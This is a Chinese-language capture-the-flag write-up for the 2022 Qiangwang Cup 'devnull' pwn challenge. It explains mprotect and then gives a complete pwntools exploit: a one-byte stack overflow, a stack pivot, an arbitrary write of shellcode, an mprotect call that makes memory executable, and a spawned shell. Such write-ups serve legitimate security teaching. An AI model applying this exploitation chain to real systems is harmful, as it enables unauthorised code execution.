2022 强网杯-devnull
devnull
devnull
程序分析

可用来修改可执行

mprotect()
函数可以修改调用进程内存页的保护属性,如果调用进程尝试以违反保护属性的方式访问该内存,则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)
1)EACCES:无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时,接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2)EINVAL:addr不是有效指针,或者不是系统页大小的倍数。
3)ENOMEM:内核内部的结构体无法分配。
思路
栈溢出1字节修改fd为1,得到2个标准输入,布置栈迁移覆盖buf到0x3fe000
,任意地址写shellcode到buf里,mprotect更改可执行
修改fd=0
1
2
3
4
5
6
7
|
## 0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
movrax=0x0000000000401350
## 修改fd=0
## 0x3ff000 覆盖buf任意地址写
## 0x3ff000+0x18 给 mprotect的1参,ret地址movrax,执行后0x3ff000+0x18=0x3ff000
py = 'a'*0x20+p8(0)
py += 'A'+'b'*(0x13-2)+'C' + p64(0x3ff000) + p64(0x3ff000+0x18) + p64(movrax)
|

读取前

读取后


栈迁移

任意地址写

写入的内容是


这里程序关闭标准输入

栈迁移
mprotect 的addr由rax控制

rbp-0x18 = 0x3ff000(前面填充了shellcode) 刚好给 _mprotect,rdx刚好是7设置为可执行

执行_mprotect 将0x3ff000设置为可执行


完成栈迁移

getshell

exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
##coding:utf-8
from pwn import *
context(arch='amd64',log_level='debug')
context.terminal = ['tmux','splitw','-h']
p=process('./devnull')
if args.R:
p = remote("",)
def debug():
gdb.attach(p)
# pause()
## 0x0000000000401350 : mov rax, qword ptr [rbp - 0x18] ; leave ; ret
movrax=0x0000000000401350
## 修改fd=0
## 0x3ff000 覆盖buf任意地址写
## 0x3ff000+0x18 给 mprotect的1参,ret地址movrax,执行后0x3ff000+0x18=0x3ff000
py = 'a'*0x20+p8(0)
py += 'A'+'b'*(0x13-2)+'C' + p64(0x3ff000) + p64(0x3ff000+0x18) + p64(movrax)
debug()
p.sendafter('please input your filename\n',py)
mprotect = 0x00000000004012D0
py = p64(0x3ff000)
py = py.ljust(0x20,'\x00') + p64(mprotect) + p64(1) + p64(0x3ff038) + asm(shellcraft.read(0,0x3ff04d,0x100))
p.sendafter('data\n',py)
## /dev/pts/1 在id=1的终端显示
py = asm(shellcraft.open('/dev/pts/1',2)) + asm(shellcraft.sh())
p.send(py)
p.interactive()
|
参考:
VerF1sh师傅讲的很清楚
https://www.bilibili.com/video/BV1zg411C7Vy?spm_id_from=333.999.0.0&vd_source=588c81f7da410bd063320fb61b1fc983